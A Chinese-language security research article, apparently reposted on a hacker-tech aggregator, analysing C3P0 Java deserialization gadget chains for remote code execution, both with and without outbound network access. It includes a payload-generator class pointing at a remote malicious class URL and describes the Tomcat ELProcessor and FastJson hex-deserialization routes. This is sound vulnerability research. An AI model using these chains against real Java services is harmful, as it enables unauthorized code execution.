记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Java反序列化之C3P0利用链从出网到无需出网原理深入分析与实现

2021-10-15 09:38

引言

C3P0反序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。但是相对诸如`CommonsCollections`、`CommonsBeanutils`这些常规利用链而言,大家的关注度还是要少一些。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:

  1. Java原生态反序列化利用链-远程加载恶意类
  2. Java原生态反序列化利用链改进-无需出网
  3. Json反序列化利用链-远程加载恶意类
  4. Json反序列化利用链-无需出网

这里将4个利用链的原理分析与具体实现分享给大家。

原生态利用链-远程加载恶意类

首先看下`ysoserial`对C3P0利用链的描述:

C3P0.java
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java

为了方便分析,这里构建一个基础研究环境,添加依赖项:

<dependencies>    <dependency>        <groupId>com.mchange</groupId>        <artifactId>C3P0</artifactId>        <version>0.9.5.2</version>    </dependency>    <dependency>        <groupId>org.javassist</groupId>        <artifactId>javassist</artifactId>        <version>3.25.0-GA</version>    </dependency></dependencies>

0x01 静态分析

深入分析`ysoserial`调用链:

* com.sun.jndi.rmi.registry.RegistryContext->lookup* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject* com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase->readObject

`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`:

首先从`ois`中取出`version`对象,然后再对`ois`进行反序列化操作,提取`IndirectlySerialized`对象(`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized`继承于`IndirectlySerialized`),进入`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject`函数:

可能很容易认为利用链是通过第85行的`lookup`函数触发的,后来实际调试过程中发现不对。代码走到第88行,进入函数`ReferenceableUtils.referenceToObject`:

当`Reference#getFactoryClassLocation`函数返回非空时,将通过`URLClassLoader`去远程加载类对象,在第51~52行完成实例化操作,所以我们可以构造一个远程恶意类,然后通过远程加载实现RCE。

0x02 构造过程

从上面分析可知,整个利用链起步于`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`,刚好`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase`还存在一个`writeObject`反函数操作:

通过分析发现,关键的封装过程实际上位于异常处理部分,所以在生成载荷的过程中可以故意抛出一个异常,让其进入`catch`部分处理。这里可以考虑在第170行对`connectionPoolDataSource`进行序列化操作时,完成异常抛出,因此手动构造一个类`PoolDataSource`:

因为`PoolDataSource`没有继承系列化接口,所以在执行序列化操作时会抛出异常。核心代码如下:

public static  void main(String[]args)throws Exception{    String url="http://127.0.0.1:1024/";    String className="exploit";
ConnectionPoolDataSource connectionPoolDataSource=new PoolDataSource(url,className); PoolBackedDataSourceBase poolBackedDataSource=new PoolBackedDataSource(); poolBackedDataSource.setConnectionPoolDataSource(connectionPoolDataSource);
util.serialize(poolBackedDataSource,"py1.ser");
}
private static class PoolDataSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url;
public PoolDataSource(String url,String className){ this.className = className; this.url = url; }
public Reference getReference () throws NamingException { return new Reference("C3P0", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}}

0x03 测试过程

构造测试案例,调试如下:

0x04 小结

上面构造的C3P0原生态反序列化利用链需要出网连接,通过加载远程恶意类触发RCE。从上面分析过程可以看出,加载远程恶意类并非通过`com.sun.jndi.rmi.registry.RegistryContext#lookup`来触发的,所以`ysoserial`上的注释描述是不正确的。

原生态利用链改进-无需出网

0x01 原理分析

在上面分析过程中提到了,当`Reference#getFactoryClassLocation`函数非空时,将通过`URLClassLoader`去远程加载类对象,那么如果`Reference#getFactoryClassLocation`函数返回`null`时,代码是如何走的呢?


可见,当变量`v11`为`null`时,将会加载当前线程的`ClassLoader`,所以如果在程序上下文环境中能够找到一个本地类,也是可以实现RCE的。这里大家很容易联想到veracode研究的高版本JDK利用本地Tomcat环境中的`javax.el.ELProcessor`实现JNDI注入的思路:

Exploiting JNDI Injections in Java
https://www.veracode.com/blog/research/exploiting-jndi-injections-java

当处于Tomcat8及更高版本环境时,也可以通过`javax.el.ELProcessor`来构建不出网利用链。

0x02 构造过程

将`Reference`对象替换成`ResourceRef`即可:

与上面设计`PoolDataSource`的思路类似,可以自定义`PoolDataSource2`类:

0x03 测试过程

0x04 小结

与高版本JDK实现JNDI注入类似,利用本地自带的类,也可以自构一个无需出网的C3P0利用链。上面的分析是基于Tomcat环境完成构建的,当存在其他可用的本地类时,也可以达到一样的效果。

Json利用链-远程加载恶意类

C3P0除了可以构建Java原生态反序列化利用链之外,还可以构建Json反序列化利用链,在`marshalsec`中包含2个利用链。

为了方便调试分析,这里引入FastJson:

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.24</version></dependency>

0x01 原理分析

第一条是基于`com.mchange.v2.c3p0.JndiRefForwardingDataSource`来构建的。

`JndiRefForwardingDataSource#setLoginTimeout`函数:

进入`inner`函数:

进入`dereference`函数:


可以触发`lookup`,输入参数来源于`jndiName`参数,而`JndiRefForwardingDataSource`继承于`JndiRefDataSourceBase`,`JndiRefDataSourceBase#setJndiName`定义如下:

0x02 构造与测试

通过上面的分析,我们可以很容易构造出一个JNDI注入的利用链:

Json利用链改进-无需出网

0x01 原理分析

`marshalsec`中的第二条利用链是基于`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`完成。`WrapperConnectionPoolDataSource`继承于`WrapperConnectionPoolDataSourceBase`:

`WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`函数:

触发`fireVetoableChange`事件处理,而在`WrapperConnectionPoolDataSource`中重写了`setUpPropertyListeners`函数:

当属性为`userOverridesAsString`时,将调用`parseUserOverridesAsString`函数,跟进:

对`userOverridesAsString`进行截取后,完成十六进制解码,然后调用`fromByteArray`函数:

最终触发了反序列化操作。

0x02 构造与测试

从上面分析可知,当环境中还存在一个Java原生态反序列化利用链时,可实现C3P0 Json反序列化无需出网RCE触发。这里再加入`commons-collections 3`:

<dependency>  <groupId>commons-collections</groupId>  <artifactId>commons-collections</artifactId>  <version>3.1</version></dependency>


知识来源: https://www.wangan.com/p/7fygfy6e1d1d4775

阅读:103337 | 评论:0 | 标签:java 序列化 分析

想收藏或者和大家分享这篇好文章→复制链接地址

“Java反序列化之C3P0利用链从出网到无需出网原理深入分析与实现”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁

本页关键词 💎